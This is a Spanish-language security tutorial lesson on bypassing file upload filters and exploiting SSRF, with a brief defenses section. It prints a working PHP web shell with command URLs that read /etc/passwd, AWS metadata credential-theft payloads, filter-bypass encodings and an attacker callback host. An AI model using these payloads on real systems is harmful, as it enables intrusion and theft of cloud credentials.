Vulnerabilidades de carga de archivos y SSRF
Eluda las restricciones de carga de archivos, explote SSRF para acceder a servicios internos y encadene vulnerabilidades.
Vulnerabilidades de carga de archivos y SSRF es una lección gratuita de Cyber Security Academy en CoddyKit. Esta es la lección 4 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Cyber Security Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Cyber Security Academy incluye 4 lecciones en total.
Vulnerabilidades de carga de archivos
La funcionalidad de carga de archivos es una de las características de mayor riesgo en las aplicaciones web. Una validación insuficiente permite cargar archivos ejecutables (PHP, JSP, ASPX) que después ejecuta el servidor, lo que puede provocar la ejecución remota de código.
Omisión básica de la carga: filtrado de extensiones
Los filtros de extensiones del lado del cliente y basados en listas negras se pueden omitir. Pruebe con extensiones dobles (.php.jpg), variaciones de mayúsculas y minúsculas (.PhP), bytes nulos (file.php%00.jpg) y extensiones alternativas (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerOmisión del tipo MIME
Los servidores suelen comprobar el encabezado Content-Type, no el contenido real del archivo. Intercepte la solicitud de carga en Burp y cambie Content-Type de application/x-php a image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Omisión mediante bytes mágicos
Algunos servidores comprueban los bytes mágicos del archivo (sus primeros bytes). Anteponer bytes mágicos válidos de una imagen al payload PHP permite superar la comprobación y conservar el contenido ejecutable.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Web shell después de la carga
Una vez cargado un archivo PHP/JSP y disponible mediante una URL, actívelo para ejecutar comandos. La web shell más sencilla es:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd¿Qué es SSRF?
La falsificación de solicitudes del lado del servidor (SSRF) engaña al servidor para que realice solicitudes HTTP a URL arbitrarias en nombre del atacante. Esto permite acceder a servicios internos, API de metadatos de la nube e interfaces administrativas internas.
Detección básica de SSRF
Busque parámetros que acepten URL (webhooks, URL de vista previa, endpoints de obtención y URL de imágenes). Inyecte direcciones internas y observe las respuestas: un tiempo de espera, una conexión rechazada o una respuesta válida indican qué recursos son accesibles.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API de metadatos de AWS mediante SSRF
El servicio de metadatos de instancias de AWS (IMDS), disponible en 169.254.169.254, expone las credenciales de los roles de IAM. Una SSRF contra este endpoint puede filtrar credenciales de la nube y permitir tomar el control total de la cuenta.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF ciega
Cuando el cuerpo de la respuesta no se refleja, use técnicas fuera de banda: una búsqueda DNS a Burp Collaborator confirma la conectividad; un callback HTTP con datos en la ruta permite exfiltrar información.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testTécnicas para omitir filtros SSRF
Los filtros que bloquean direcciones IP internas obvias se pueden omitir mediante: codificación de IP (decimal 0x7f000001 = 127.0.0.1), DNS rebinding, direcciones de loopback alternativas (127.1, 0.0.0.0) y redirecciones de URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostDefensas contra la carga de archivos y SSRF
Carga de archivos: permita únicamente extensiones seguras, almacene los archivos fuera de la raíz web, cámbieles el nombre en el servidor y sírvalos mediante una CDN. SSRF: permita únicamente las URL y rangos de IP autorizados, desactive las funciones innecesarias de obtención de URL y aplique IMDSv2 en AWS.
Comprobación rápida
¿A qué IP se dirige un ataque SSRF para robar credenciales de AWS?
Resumen: carga de archivos y SSRF
Los fallos en la carga de archivos provocan la ejecución remota de código; las SSRF permiten acceder a la red interna y robar credenciales. Pruebe las cargas con omisiones de extensiones, tipos MIME y bytes mágicos. Pruebe los parámetros de URL para detectar SSRF apuntando a localhost, subredes internas y API de metadatos de la nube. Ambos problemas requieren defensa en profundidad: listas de permitidos en lugar de listas negras, segmentación de red y refuerzo de la seguridad de la nube.
Aprende Cyber Security Academy con un tutor de IA — gratis
Escribe y ejecuta código real en tu navegador, obtén ayuda instantánea de un tutor de IA disponible 24/7 y continúa donde lo dejaste en la web o en la aplicación.
- Cursos
- 76
- Lecciones
- 303
Preguntas frecuentes
¿La lección «Vulnerabilidades de carga de archivos y SSRF» es gratis?
Sí — el texto completo de «Vulnerabilidades de carga de archivos y SSRF» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Cyber Security Academy, actualiza a CoddyKit PRO. El curso de Cyber Security Academy incluye 4 lecciones en total.
¿Qué aprenderé en «Vulnerabilidades de carga de archivos y SSRF»?
Eluda las restricciones de carga de archivos, explote SSRF para acceder a servicios internos y encadene vulnerabilidades. Practicas Cyber Security Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar Cyber Security Academy?
No se requiere experiencia previa. Cyber Security Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 4 de 4.
¿Cuánto tiempo toma la lección «Vulnerabilidades de carga de archivos y SSRF»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de Cyber Security Academy?
Sí. Cada lección de Cyber Security Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- Proxy de Burp Suite e interceptación de solicitudes
- Pruebas de vulnerabilidades de inyección
- Pruebas de autenticación y sesiones
- Vulnerabilidades de carga de archivos y SSRF